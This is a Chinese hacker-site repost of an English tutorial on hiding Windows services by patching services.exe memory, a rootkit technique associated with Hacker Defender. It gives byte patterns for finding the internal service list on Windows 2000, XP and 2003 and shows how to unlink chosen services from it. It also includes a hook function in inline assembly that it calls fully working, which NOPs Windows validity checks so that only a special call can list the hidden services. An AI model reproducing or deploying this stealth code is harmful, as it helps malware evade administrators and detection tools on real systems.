资源交流吧:VIP  | 网站首页 | 文章中心 | 下载中心 | 图片中心 | 雁过留声 | 音乐无限 | 互动书吧 | BT下载 | 留学频道 |  {$Wap}
您现在的位置: 九佰度在线 九佰度空间 >> 文章中心 >> 黑客前沿 >> 黑客编程 >> 文章正文 用户登录 新用户注册
hooking the service manger with hacker defender         ★★★★ 【字体:


hooking the service manger with hacker defender

作者:未知    文章来源:来自网络    点击数:    更新时间:2006-6-7
0
******************************** 
Intro 

The idea of this method for hiding windows services directly from within 
the service manager came to me after I coded a hidden services detector 
and I realized that is was really easy to trick many user-mode rootkit... 
So I started to search for infos about the service manager, and I found a 
really good paper (and I found nothing else, ever) explaining very few thing, 
but the article put me on the right track. So I started to reverse the service 
manager and I found an interesting structure (name it the ServiceDatabase) 
containing all services running on a computer. I knew that it was this 
structure that I will have to patch. The first problem I had was to find 
these structure with no hardcoded addresses on all NT-based OS. This problem 
was really easy to solve, a simple search for a pattern of byte (one for XP 
and one for win2k) did the thing. Then another problem: it is easy to remove 
a services from the ServiceDatabase but what happen if we want to stop or remove 
this service ? We can’t control it anymore, it’s just like if the service has 
never existed. 

I had two choices. First, make a new set of functions to mimic the service 
manager do to be able to control the hidden services. But this would imply 
that no standard command like net start/net stop would ever work, and that 
sucks. The second possibility is to find a way to tell to the service manager 
that the request for controling a hidden service is authorized. The second 
sounds better. 


******************************** 
The client-side services display: 

To let the service manager know that we have the right to display the 
hidden services, we will have call EnumServicesStatus with a dwServiceState 
parameter to wich you will add a number (we’ll call it dwNumber, heh) 
We will then check, on the server-side, if the dwServiceState parameter 
equal dwNumber+SERVICE_ACTIVE, dwNumber+SERVICE_INACTIVE or 
dwNumber+SERVICE_STATE_ALL. If it is, we’ll substract dwNumber to get 
the real dwServiceState. 

You may have noticed that you will need a home-made program to display the 
hidden services to wich you will be able to supply the correct dwNumber 


******************************** 
The server-side hooking: 

The hooking process will be this : 
1. locate all needed pieces of code, to be sure we’re doing the good thing 
2. change the linking order of the ServiceDatabase to hide our services 
3. place hooks at some strategic points 

------- 
1. Locate needed information 
------- 

We will first need to locate some information about where we will install 
our hooks, and this before doing any modification in the memory of 
services.exe just to don’t crash the whole thing. We will basicly search 
for the ServiceDatabase and then search for the hooking points, I will 
give more details in the two next sections 

------- 
2. Modify the ServiceDatabse 
------- 

The ServiceDatabase is a double-linked list that contain informations 
about all services running on a computer. It is located in the memory 
of services.exe (duh) and it is built at boot time based on keys 
in HKLM\SYSTEM\CurrentControlSet\Services. Just after building the 
database, services.exe start all service with their Startup Type set to 
Automatic. This is why a rootkit can be detected even if it hide keys 
from the registry; a clean copy of the HKLM\[...]\Services key exist 
somewhere in the memory of services.exe :) 

The ServiceDatabase is relatively easy to find, depending on the version 
of services.exe. ImageVersion refers to the field of the same name in 
the PE header. The search base is the ’base of code’ address (usually 
01001000h) plus the size of the ’import address table’ (usually ~400h 
bytes) wich can also be found in the PE header. Please note that I am 
debugging services.exe on my XP box, and addresses and size may differ 
on win2k. 

If ImageVersion = 5.1 or 5.2 (WinXP, Win2k3) : 
Search in the first 200h bytes for the sequence of byte 56 8B 35 
(56 = PUSH ESI, 8B 35 xx xx xx xx = MOV ESI, DWORD PTR DS:[ServiceDatabase]) 

If ImageVersion = 5.0 (Win2k) : 
Search in the first 4000h bytes for 73 45 72 76 (sErv) (will be found after 
~2C00h bytes). Then search in the next 200h bytes for 8B 0D xx xx xx xx 
(MOV ECX, DWORD PTR DS:[ServiceDatabase]) 

At this point, we are ready to patch the ServiceDatabase and remove our 
hidden services. In the next example we want to hide the service B and D. 
This is basicly what we will do : 

* Flink = Forward link, point to the next structure 
* Blink = Backwad link, point to the previous structure 

-> The original service chain 

ServiceDatabase pointer 
|  
`-> _____ Flink _____ _____ _____ _____ _____ 
| svc | -----> | svc | -----> | svc | -----> | svc | -----> | svc | -----> | svc | 
| A | <----- | B | <----- | C | <----- | D | <----- | E | <----- | ... | 
|_____| Blink |_____| |_____| |_____| |_____| |_____| 


-> We will unlink the svc B by linking the service A and C together 

ServiceDatabase pointer 
| .--------------. .--------------. 
| | .----------. | | .----------. | 
`-> _____ | | _____ | | _____ | | _____ | | _____ _____ 
| svc | --` | | svc | | `--> | svc | --` | | svc | | `--> | svc | -----> | svc | 
| A | <---` | B | `----- | C | <---` | D | `----- | E | <----- | ... | 
|_____| |_____| |_____| |_____| |_____| |_____| 


-> Then we will link the service D to the service B and the service B to 
the start of the list 

ServiceDatabase pointer 
| .--------------. .--------------. 
| | .----------. | | .----------. | 
`-> _____ | | _____ | | _____ | | _____ | | _____ _____ 
Flink | svc | --` | | svc | | `--> | svc | --` | | svc | | `--> | svc | -----> | svc | 
.---> | A | <---` | B | `----- | C | <---` | D | `----- | E | <----- | ... | 
| |_____| |_____| |_____| |_____| |_____| |_____| 
| | ^ | ^ | 
| | | `-------------------------` | 
`----------------------` `-----------------------------` 


This new linking is the whole thing in the hooking process. If this is 
done correctly, at least the services are hidden from any request for 
enumerating services and for opening a services with OpenService(). 
Then what if we want to display these hidden services ? We will simply 
put a hook at a strategic point (see the next section) and if the program 
trying to enumerate the services is authorized to do so, we won’t start the 
enumeration from the service pointed by ServiceDatabase, but (in the example) 
from the service D in our case. **NOTE** that there is no Backward link from 
the service B to the servide A, in order to don’t be able to see the hidden 
services by listing the list in the reverse order... 

------- 
3. Hooking the code 
------- 

We’ll start by searching for the sequence of bytes C0 FE FF FF in the first 6000h bytes 
the lines on wich we will end up will look like this: 

TEST DWORD PTR SS:[EBP+C],FFFFFEC0 
JNZ SHORT error_87 
TEST BYTE PTR SS:[EBP+10],3 <------- check for the validity of dwServiceState 
JE SHORT error_87 <------- we will backup the address pointed by this jump 
TEST DWORD PTR SS:[EBP+10],FFFFFFFC for our own usage in our hooked function 
JNZ SHORT error_87 

To don’t get trashed when we will supply our invalid dwServiceState, we 
will NOP the four last lines and check the validity by ourself later with 
our hooked function. To find where we’ll place this hook, we’ll search 
in the next 100 bytes for 85 C0 wich correspond to : 

LEA EAX,DWORD PTR SS:[EBP+8] 
PUSH EAX 
PUSH DWORD PTR SS:[EBP-C] 
CALL GetEntryPointerFromIndex <------ here we hook ! 
TEST EAX,EAX <------ 85 C0 
JE not_found 

then you just have to replace the GetEntryPointerFromIndex CALL for 
our own home-made function. What is the original function doing ? It 
find where to start the copying process from the memory of services.exe 
to the user-supplied buffer, according to the ResumeHandle parameter 
passed to EnumServicesStatus. What will the replacement function do ? 
Lets see : 

First we’ll have to check if the dwServiceState come from a ’typical’ call 
to EnumServicesStatus. If it is, (will be between 1 and 3; see declaration 
of SERVICE_[ACTIVE/INACTIVE/STATE_ALL]) we will mimic the original 
GetEntryPointerFromIndex function and do nothing more. If the dwServiceState 
parameter is equal to dwNumber + 1, + 2 or + 3 then we’ll know that it’s a 
request for showing hidden services, and we’ll start to do the job of 
GetEntryPointerFromIndex but we’ll do it from the base of our hidden services 
list. If dwServiceState does not correspond to any of these two case, we’ll 
return the error 87 (remember the dwServiceState validity check we’ve nopped) 

okey then we have a plan of action, have a look at the hooking code I made. 

the original function definition looks like this : 
BOOL GetEntryPointerFromIndex (int index, LPDWORD entry); 

When we will have our function called instead of the original one, the stack 
will look like this : 

ebp+10h = the dwServiceState parameter passed to EnumServicesStatus 
esp+8h = the ResumeHandle parameter passed to EnumServicesStatus 
wich is actually the index in the ServiceDatabase table 
esp+Ch = the buffer in wich we will copy the address of the correct entry 

First of all we’ll backup the address of ebp+10h to be able to replace 
the dwServiceState if the need is. Then we’ll check if the dwServiceState 
is invalid or not, and choose what we must do. 

Below is a fully working function, I think it can be better but it do the job 
See the code sample and you will understand everything ;) 

//the CALL we replace must point 16 bytes after the real function address 
//before copying the function inside services.exe, you must fill the four 
//dword that the function need to work: 
//dwNumber = the same number that you will provide to EnumServicesStatus 
// to display the hidden services 
//dwHiddenStart = the address of the first service in the hidden service chain 
//dwSvDb = address of ServiceDatabase 
//dwError87 = the absolute address of the jump we nopped (see above) 

BOOL __declspec(naked) NewGetEntryPointerFromIndex(int index, LPDWORD entry) { 
__asm { 
dwNumber: 
_emit 0 //;room for a copy of dwNumber 
_emit 0 
_emit 0 
_emit 0 
dwHiddenStart: 
_emit 0 //;room for the address of the hidden services chain 
_emit 0 
_emit 0 
_emit 0 
dwSvDb: 
_emit 0 //;room for a copy of the ServiceDatabase 
_emit 0 
_emit 0 
_emit 0 
dwError87: 
_emit 0 //;room for the address of the error 87 code 
_emit 0 
_emit 0 
_emit 0 

call start 
start: 
pop edx //; pop the address of where we are 
sub edx, 16+5 
pop esi //; pop the ret address 
lea eax, [ebp+010h] //; copy the address of the dwServiceState parameter 
push ebp 
mov ebp, esp 
sub esp, 008h 

/* 
-008 DWROD ret address 
-004 LPDWORD dwServiceState 
+004 int index 
+008 LPDWORD entry 
*/ 

mov [ebp-004h], eax 
mov [ebp-008h], esi 

//; check if we got all we need 
cmp dword ptr [edx], 0 //;dwNumber 
jz display_normal 
cmp dword ptr [edx+4], 0 //;dwHiddenStart 
jz display_normal 
cmp dword ptr [edx+8], 0 //;dwSvDb 
jz bad_ret 
cmp dword ptr [edx+12], 0 //;dwError87 
jz bad_ret 

//; check the dwServiceState 
mov esi, [ebp-004h] 
mov esi, [esi] 

//; is it a request for hidden svc ? 
mov eax, dword ptr [edx] //;dwNumber 
lea eax, [eax+1] 
cmp esi, eax 
jz display_hidden 
mov eax, dword ptr [edx] //;dwNumber 
lea eax, [eax+2] 
cmp esi, eax 
jz display_hidden 
mov eax, dword ptr [edx] //;dwNumber 
lea eax, [eax+3] 
cmp esi, eax 
jz display_hidden 

//; is it an invalid request ? 
mov esi, [ebp-004h] 
test byte ptr [esi],3 
je go_original_err87 
test dword ptr [esi], 0FFFFFFFCh 
jnz go_original_err87 

//; heh, just another normal request I guess 
jmp display_normal  


//; process the request 
display_hidden: 
mov esi, [ebp-004h] 
mov eax, dword ptr [edx] //;dwNumber 
sub [esi], eax //;substract dwNumber to dwServiceState 
lea eax, dword ptr [edx+4] //;dwHiddenStart 
jmp display_tail 

display_normal: 
mov eax, dword ptr [edx+8] //;dwSvDb 
//mov eax, [eax] 
//jmp display_tail 

display_tail: 
mov eax, [eax] 

loop_next_svc_entry: 
test eax, eax 
jz short bad_ret //; got the end of the chain ? 
mov ecx, [eax+010h] //; index field 
cmp ecx, [ebp+004h] //; needed index 
ja short got_ptr 
mov eax, [eax+004h] //; take the next entry 
jmp short loop_next_svc_entry 

got_ptr: 
mov ecx, [ebp+008h] 
mov [ecx], eax 

good_ret: 
mov eax, 001h 
jmp go_ret 

bad_ret: 
xor eax, eax 

go_ret: 
mov esi, [ebp-008h] 
leave 
add esp, 008h //;ret 008 
jmp esi 

go_original_err87: 
leave //;free the stack 
mov eax, dword ptr [edx+12] //;dwError87 
add esp, 008h //;ret 008 
jmp eax 





// EOF 


I think I said everything, now you can look at the sources I included :

[1] [2] [3] 下一页  

文章录入:qq007    责任编辑:qq007 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     本类热门文章
    普通文章泰航空姐在曼谷新国际机场屡11-22
    普通文章俄罗斯最后一颗军事间谍卫星11-22
    普通文章英国成为欧洲最大性奴交易市11-22
    普通文章朝鲜称将坚决报复日本对其实11-22
    普通文章中情局被指谋杀肯尼迪兄弟 11-22
    普通文章布什访问印尼引起大规模抗议11-22
    普通文章东南亚许多儿童成为卖淫活动11-22
    普通文章英国妇女两次怀上三胞胎医学11-22
     最新推荐文章
    普通文章泰航空姐在曼谷新国际机场屡11-22
    普通文章俄罗斯最后一颗军事间谍卫星11-22
    普通文章英国成为欧洲最大性奴交易市11-22
    普通文章朝鲜称将坚决报复日本对其实11-22
    普通文章中情局被指谋杀肯尼迪兄弟 11-22
    普通文章布什访问印尼引起大规模抗议11-22
    普通文章东南亚许多儿童成为卖淫活动11-22
    普通文章英国妇女两次怀上三胞胎医学11-22
     最新文章
    普通文章泰航空姐在曼谷新国际机场屡11-22
    普通文章俄罗斯最后一颗军事间谍卫星11-22
    普通文章英国成为欧洲最大性奴交易市11-22
    普通文章朝鲜称将坚决报复日本对其实11-22
    普通文章中情局被指谋杀肯尼迪兄弟 11-22
    普通文章布什访问印尼引起大规模抗议11-22
    普通文章东南亚许多儿童成为卖淫活动11-22
    普通文章英国妇女两次怀上三胞胎医学11-22
     文章评论(评论内容只代表网友观点,与本站立场无关!发表评论
    007在线工作室 版权所有 未经许可 严禁复制本站页面以及盗取资源链接
    Copyright© 2005-2006 使用800*600像素访问本站将达到最佳效果 苏ICP备05042773号